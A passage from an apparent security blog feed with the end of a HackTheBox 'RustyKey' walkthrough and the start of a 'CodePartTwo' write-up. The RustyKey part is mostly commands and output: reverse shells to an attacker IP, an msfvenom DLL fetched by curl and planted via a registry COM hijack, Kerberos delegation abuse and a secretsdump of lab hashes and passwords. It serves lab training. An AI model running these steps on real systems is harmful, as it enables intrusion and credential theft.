SMB         dc.rustykey.htb 445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span>-] rustykey.htb<span class="se">\e</span>e.reed:Pwnedcake@2025 STATUS_LOGON_TYPE_NOT_GRANTED 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There are some major restrictions blocking our login. What we can do is use bb.morgan’s shell to get a shell as ee.reed using the <strong>RunasCs</strong> technique :)</p>

<p>Upload RunasCs using evil-winrm:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">upload</span><span class="w"> </span><span class="nx">RunasCs.exe</span><span class="w">

</span><span class="n">Info:</span><span class="w"> </span><span class="nx">Uploading</span><span class="w"> </span><span class="nx">/home/pwnedcake/hackthebox/Rustykey/tickets/RunasCs.exe</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">C:\temp\RunasCs.exe</span><span class="w">

</span><span class="kr">Data</span><span class="p">:</span><span class="w"> </span><span class="mi">68948</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">68948</span><span class="w"> </span><span class="nx">bytes</span><span class="w"> </span><span class="nx">copied</span><span class="w">

</span><span class="n">Info:</span><span class="w"> </span><span class="nx">Upload</span><span class="w"> </span><span class="nx">successful</span><span class="o">!</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Start a listener in the attacker machine:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>rlwrap nc <span class="nt">-lvnp</span> 56235                                       
listening on <span class="o">[</span>any] 56235 ...
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Now we can use RunasCs to get the shell:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\RunasCs.exe</span><span class="w"> </span><span class="nx">EE.REED</span><span class="w"> </span><span class="s1">'Pwnedcake@2025'</span><span class="w"> </span><span class="nx">powershell.exe</span><span class="w"> </span><span class="nt">-r</span><span class="w"> </span><span class="nx">10.10.14.150:56235</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Warning:</span><span class="w"> </span><span class="nx">User</span><span class="w"> </span><span class="nx">profile</span><span class="w"> </span><span class="nx">directory</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">EE.REED</span><span class="w"> </span><span class="nx">does</span><span class="w"> </span><span class="nx">not</span><span class="w"> </span><span class="nx">exists.</span><span class="w"> </span><span class="nx">Use</span><span class="w"> </span><span class="nt">--force-profile</span><span class="w"> </span><span class="nx">if</span><span class="w"> </span><span class="nx">you</span><span class="w"> </span><span class="nx">want</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">force</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">creation.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Warning:</span><span class="w"> </span><span class="nx">The</span><span class="w"> </span><span class="nx">logon</span><span class="w"> </span><span class="nx">for</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="s1">'EE.REED'</span><span class="w"> </span><span class="nx">is</span><span class="w"> </span><span class="nx">limited.</span><span class="w"> </span><span class="nx">Use</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">flag</span><span class="w"> </span><span class="nx">combination</span><span class="w"> </span><span class="nt">--bypass-uac</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nt">--logon-type</span><span class="w"> </span><span class="s1">'8'</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">obtain</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">more</span><span class="w"> </span><span class="nx">privileged</span><span class="w"> </span><span class="nx">token.</span><span class="w">

</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Running</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">session</span><span class="w"> </span><span class="nx">0</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="nx">function</span><span class="w"> </span><span class="nx">CreateProcessWithLogonW</span><span class="p">()</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">Station\Desktop:</span><span class="w"> </span><span class="nx">Service-0x0-104e72</span><span class="err">$</span><span class="nx">\Default</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">Async</span><span class="w"> </span><span class="nx">process</span><span class="w"> </span><span class="s1">'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">pid</span><span class="w"> </span><span class="nx">1544</span><span class="w"> </span><span class="nx">created</span><span class="w"> </span><span class="nx">in</span><span class="w"> </span><span class="nx">background.</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Remember you need to be quick otherwise this won’t work:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>rlwrap nc <span class="nt">-lvnp</span> 56235                                       
listening on <span class="o">[</span>any] 56235 ...
connect to <span class="o">[</span>10.10.14.150] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.75] 64600
Windows PowerShell 
Copyright <span class="o">(</span>C<span class="o">)</span> Microsoft Corporation. All rights reserved.

PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt; <span class="nb">whoami
whoami
</span>rustykey<span class="se">\e</span>e.reed
PS C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32&gt; 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Since we now have access as ee.reed, we can use these privileges to overwrite the registry with a malicious DLL:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Create a malicious dll file using msfvenom and upload it to the host and overwrite the dll.</p>

<p>Generate malicious DLL:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>msfvenom <span class="nt">-p</span> windows/x64/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>10.10.14.150 <span class="nv">LPORT</span><span class="o">=</span>45345 <span class="nt">-f</span> dll <span class="nt">-o</span> pwned.dll
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Download the malicious dll and overwrite the registry to get the reverse shell:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">curl</span><span class="w"> </span><span class="nx">10.10.14.150/pwned.dll</span><span class="w"> </span><span class="nt">-o</span><span class="w"> </span><span class="nx">pwned.dll</span><span class="w">
</span><span class="n">curl</span><span class="w"> </span><span class="nx">10.10.14.150/pwned.dll</span><span class="w"> </span><span class="nt">-o</span><span class="w"> </span><span class="nx">pwned.dll</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32"</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"(default)"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="s2">"C:\temp\pwned.dll"</span><span class="w">
</span><span class="n">Set-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKLM:\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32"</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"(default)"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="s2">"C:\temp\pwned.dll"</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\temp</span><span class="err">&gt;</span><span class="w"> 
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Start listener:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>rlwrap nc <span class="nt">-lvnp</span> 45345          
listening on <span class="o">[</span>any] 45345 ...
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After waiting for a bit we get a shell as <strong>mm.turner</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>rlwrap nc <span class="nt">-lvnp</span> 45345          
listening on <span class="o">[</span>any] 45345 ...
connect to <span class="o">[</span>10.10.14.150] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.11.75] 54484

PS C:<span class="se">\W</span>indows&gt; 
PS C:<span class="se">\W</span>indows&gt; <span class="nb">whoami
</span>rustykey<span class="se">\m</span>m.turner
PS C:<span class="se">\W</span>indows&gt; 
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>JACKPOT</strong></p>

<p>mm.turner is a member of the <strong>DELEGATION</strong> group yeah that’s right <strong>DELEGATION</strong> that means <strong>RBCD</strong>.</p>

<p><img src="/assets/img/htb-rustykey/mm-turner-bloodhound.png" alt="MM Turner BloodHound" />
<em>mm.turner is member of the DELEGATION group which has powerful privileges</em></p>

<p>Let’s do the attack path now:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Get-ADComputer</span><span class="w"> </span><span class="nx">DC</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="nx">PrincipalsAllowedToDelegateToAccount</span><span class="w">

</span><span class="n">DistinguishedName</span><span class="w">                    </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">DC</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">rustykey</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">DNSHostName</span><span class="w">                          </span><span class="p">:</span><span class="w"> </span><span class="nx">dc.rustykey.htb</span><span class="w">
</span><span class="n">Enabled</span><span class="w">                              </span><span class="p">:</span><span class="w"> </span><span class="nx">True</span><span class="w">
</span><span class="n">Name</span><span class="w">                                 </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="w">
</span><span class="n">ObjectClass</span><span class="w">                          </span><span class="p">:</span><span class="w"> </span><span class="nx">computer</span><span class="w">
</span><span class="n">ObjectGUID</span><span class="w">                           </span><span class="p">:</span><span class="w"> </span><span class="nx">dee94947-219e-4b13-9d41-543a4085431c</span><span class="w">
</span><span class="n">PrincipalsAllowedToDelegateToAccount</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
</span><span class="n">SamAccountName</span><span class="w">                       </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="err">$</span><span class="w">
</span><span class="n">SID</span><span class="w">                                  </span><span class="p">:</span><span class="w"> </span><span class="nx">S-1-5-21-3316070415-896458127-4139322052-1000</span><span class="w">
</span><span class="n">UserPrincipalName</span><span class="w">                    </span><span class="p">:</span><span class="w">

</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>The current <code class="language-plaintext highlighter-rouge">PrincipalsAllowedToDelegateToAccount</code> is empty, so none of the users can impersonate others. Let’s add IT-COMPUTER3$ to this list and get a service ticket:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Set-ADComputer</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="nx">DC</span><span class="w"> </span><span class="nt">-PrincipalsAllowedToDelegateToAccount</span><span class="w"> </span><span class="s2">"IT-COMPUTER3$"</span><span class="w">
</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">Get-ADComputer</span><span class="w"> </span><span class="nx">DC</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="nx">PrincipalsAllowedToDelegateToAccount</span><span class="w">

</span><span class="n">DistinguishedName</span><span class="w">                    </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">DC</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">rustykey</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">DNSHostName</span><span class="w">                          </span><span class="p">:</span><span class="w"> </span><span class="nx">dc.rustykey.htb</span><span class="w">
</span><span class="n">Enabled</span><span class="w">                              </span><span class="p">:</span><span class="w"> </span><span class="nx">True</span><span class="w">
</span><span class="n">Name</span><span class="w">                                 </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="w">
</span><span class="n">ObjectClass</span><span class="w">                          </span><span class="p">:</span><span class="w"> </span><span class="nx">computer</span><span class="w">
</span><span class="n">ObjectGUID</span><span class="w">                           </span><span class="p">:</span><span class="w"> </span><span class="nx">dee94947-219e-4b13-9d41-543a4085431c</span><span class="w">
</span><span class="n">PrincipalsAllowedToDelegateToAccount</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">CN</span><span class="o">=</span><span class="n">IT-Computer3</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">Computers</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">IT</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">rustykey</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="p">}</span><span class="w">
</span><span class="n">SamAccountName</span><span class="w">                       </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="err">$</span><span class="w">
</span><span class="n">SID</span><span class="w">                                  </span><span class="p">:</span><span class="w"> </span><span class="nx">S-1-5-21-3316070415-896458127-4139322052-1000</span><span class="w">
</span><span class="n">UserPrincipalName</span><span class="w">                    </span><span class="p">:</span><span class="w">

</span><span class="n">PS</span><span class="w"> </span><span class="nx">C:\Windows</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Nice! Now IT-COMPUTER3$ is in place and we can execute the S4U attack.</p>

<p>We can use the <strong>backupadmin</strong> user to dump the hashes using its ticket:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>getST.py <span class="nt">-spn</span> <span class="s1">'cifs/dc.rustykey.htb'</span> <span class="nt">-impersonate</span> <span class="s1">'backupadmin'</span> <span class="s1">'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!'</span>  
Impacket v0.13.0.dev0+20251016.112753.23a36c62 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span>-] CCache file is not found. Skipping...
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Getting TGT <span class="k">for </span>user
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Impersonating backupadmin
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2self
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Requesting S4U2Proxy
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>backupadmin@cifs_dc.rustykey.htb@RUSTYKEY.HTB.ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Dumping the hashes using secretsdump:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="rouge-code"><pre>secretsdump.py <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-outputfile</span> <span class="s1">'dcsync'</span> <span class="nt">-dc-ip</span> 10.10.11.75 rustykey.htb/backupadmin@dc.rustykey.htb
Impacket v0.13.0.dev0+20251016.112753.23a36c62 - Copyright Fortra, LLC and its affiliated companies

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Service RemoteRegistry is <span class="k">in </span>stopped state
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Starting service RemoteRegistry
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Target system bootKey: 0x94660760272ba2c07b13992b57b432d4
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping <span class="nb">local </span>SAM hashes <span class="o">(</span>uid:rid:lmhash:nthash<span class="o">)</span>
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e3aac437da6f5ae94b01a6e5347dd920:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping cached domain logon information <span class="o">(</span>domain/username:hash<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping LSA Secrets
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="nv">$MACHINE</span>.ACC
RUSTYKEY<span class="se">\D</span>C<span class="nv">$:</span>plain_password_hex:0c7fbe96b20b5afd1da58a1d71a2dbd6ac75b42a93de3c18e4b7d448316ca40c74268fb0d2281f46aef4eba9cd553bbef21896b316407ae45ef212b185b299536547a7bd796da250124a6bb3064ae48ad3a3a74bc5f4d8fbfb77503eea0025b3194af0e290b16c0b52ca4fecbf9cfae6a60b24a4433c16b9b6786a9d212c7aaefefa417fe33cc7f4dcbe354af5ce95f407220bada9b4d841a3aa7c6231de9a9ca46a0621040dc384043e19800093303e1485021289d8719dd426d164e90ee3db3914e3d378cc9e80560f20dcb64b488aa468c1b71c2bac3addb4a4d55231d667ca4ba2ad36640985d9b18128f7755b25
RUSTYKEY<span class="se">\D</span>C<span class="nv">$:</span>aad3b435b51404eeaad3b435b51404ee:b266231227e43be890e63468ab168790:::
<span class="o">[</span><span class="k">*</span><span class="o">]</span> DefaultPassword
RUSTYKEY<span class="se">\A</span>dministrator:Rustyrc4key#!
<span class="o">[</span><span class="k">*</span><span class="o">]</span> DPAPI_SYSTEM
dpapi_machinekey:0x3c06efaf194382750e12c00cd141d275522d8397
dpapi_userkey:0xb833c05f4c4824a112f04f2761df11fefc578f5c
<span class="o">[</span><span class="k">*</span><span class="o">]</span> NL<span class="nv">$KM</span>
 0000   6A 34 14 2E FC 1A C2 54  64 E3 4C F1 A7 13 5F 34   j4.....Td.L..._4
 0010   79 98 16 81 90 47 A1 F0  8B FC 47 78 8C 7B 76 B6   y....G....Gx.<span class="o">{</span>v.
 0020   C0 E4 94 9D 1E 15 A6 A9  70 2C 13 66 D7 23 A1 0B   ........p,.f.#..
 0030   F1 11 79 34 C1 8F 00 15  7B DF 6F C7 C3 B4 FC FE   ..y4....<span class="o">{</span>.o.....
NL<span class="nv">$KM</span>:6a34142efc1ac25464e34cf1a7135f34799816819047a1f08bfc47788c7b76b6c0e4949d1e15a6a9702c1366d723a10bf1117934c18f00157bdf6fc7c3b4fcfe
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Dumping Domain Credentials <span class="o">(</span>domain<span class="se">\u</span><span class="nb">id</span>:rid:lmhash:nthash<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Using the DRSUAPI method to get NTDS.DIT secrets
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We even get the password from this which is <strong><code class="language-plaintext highlighter-rouge">Rustyrc4key#!</code></strong></p>

<p><img src="/assets/img/htb-rustykey/secretsdump-output.png" alt="Secretsdump Output" />
<em>Successfully dumped Administrator credentials via DCSync</em></p>

<p>And now using these credentials we can login to the administrator user using the credentials we got:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>getTGT.py <span class="s1">'rustykey.htb/Administrator@rustykey.htb:Rustyrc4key#!'</span>                     
Impacket v0.13.0.dev0+20251016.112753.23a36c62 - Copyright Fortra, LLC and its affiliated companies 

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Saving ticket <span class="k">in </span>Administrator@rustykey.htb.ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>Administrator@rustykey.htb.ccache 
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="rouge-code"><pre>evil-winrm <span class="nt">-i</span> dc.rustykey.htb <span class="nt">-r</span> RUSTYKEY.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method <span class="sb">`</span>quoting_detection_proc<span class="s1">' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents&gt; whoami
rustykey\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Rooted!</strong> The user part was relatively straightforward, but the root escalation was quite challenging. Happy Hacking Everyone &lt;3</p>

<hr />

<p><em>Happy Hacking! 🚀</em></p>]]></content><author><name>Wathsala Dewmina</name></author><category term="HackTheBox" /><category term="Hard" /><category term="htb" /><category term="active-directory" /><category term="timeroasting" /><category term="dacl-abuse" /><category term="dll-hijacking" /><category term="rbcd" /><category term="kerberos" /><category term="bloodhound" /><category term="windows" /><summary type="html"><![CDATA[A detailed walkthrough of the RustyKey machine from HackTheBox, featuring Timeroasting, DACL abuse, DLL hijacking via 7-Zip shell extensions, and Resource-Based Constrained Delegation for complete domain compromise.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pwnedcake.github.io/assets/img/htb-rustykey/rustykey-thumbnail.png" /><media:content medium="image" url="https://pwnedcake.github.io/assets/img/htb-rustykey/rustykey-thumbnail.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackTheBox CodePartTwo Writeup - Easy Linux Machine</title><link href="https://pwnedcake.github.io/posts/hackthebox-codeparttwo-writeup/" rel="alternate" type="text/html" title="HackTheBox CodePartTwo Writeup - Easy Linux Machine" /><published>2025-11-04T17:30:00+00:00</published><updated>2025-11-04T17:30:00+00:00</updated><id>https://pwnedcake.github.io/posts/hackthebox-codeparttwo-writeup</id><content type="html" xml:base="https://pwnedcake.github.io/posts/hackthebox-codeparttwo-writeup/"><![CDATA[<h2 id="machine-information">Machine Information</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Attribute</th>
      <th style="text-align: left">Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>Machine Name</strong></td>
      <td style="text-align: left">CodePartTwo</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Difficulty</strong></td>
      <td style="text-align: left">Easy</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>OS</strong></td>
      <td style="text-align: left">Linux</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>IP Address</strong></td>
      <td style="text-align: left">10.10.11.82</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap-scan">Nmap Scan</h3>

<p>Let’s start with a quick Nmap scan to see what’s open:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nmap <span class="nt">-sCV</span> <span class="nt">-T5</span> <span class="nt">--min-rate</span> 2000 <span class="nt">-v</span> <span class="nt">-oN</span> codeparttwo.nmap <span class="nt">-Pn</span> 10.10.11.82
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Scan Results:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open  http    Gunicorn 20.0.4
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="key-findings">Key Findings</h3>

<ul>
  <li><strong>SSH (Port 22)</strong>: OpenSSH 8.2p1 running on Ubuntu</li>
  <li><strong>HTTP (Port 8000)</strong>: Gunicorn 20.0.4 hosting a web app</li>
  <li><strong>Web Title</strong>: Welcome to CodePartTwo</li>
</ul>

<p>So we have a web server on port 8000. That Gunicorn banner tells us it’s probably a Python app. Let’s check it out.</p>

<hr />

<h2 id="web-application-analysis">Web Application Analysis</h2>

<p>Heading over to <code class="language-plaintext highlighter-rouge">http://10.10.11.82:8000</code>, we see a landing page with a “Download App” button.</p>

<p><img src="/assets/img/htb-codeparttwo/dashboard.png" alt="Dashboard Interface" />
<em>The main dashboard after logging in</em></p>

<p>When we click the download button, it gives us a <code class="language-plaintext highlighter-rouge">app.zip</code> file. Let’s see what’s inside:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>unzip app.zip
</pre></td></tr></tbody></table></code></pre></div></div>

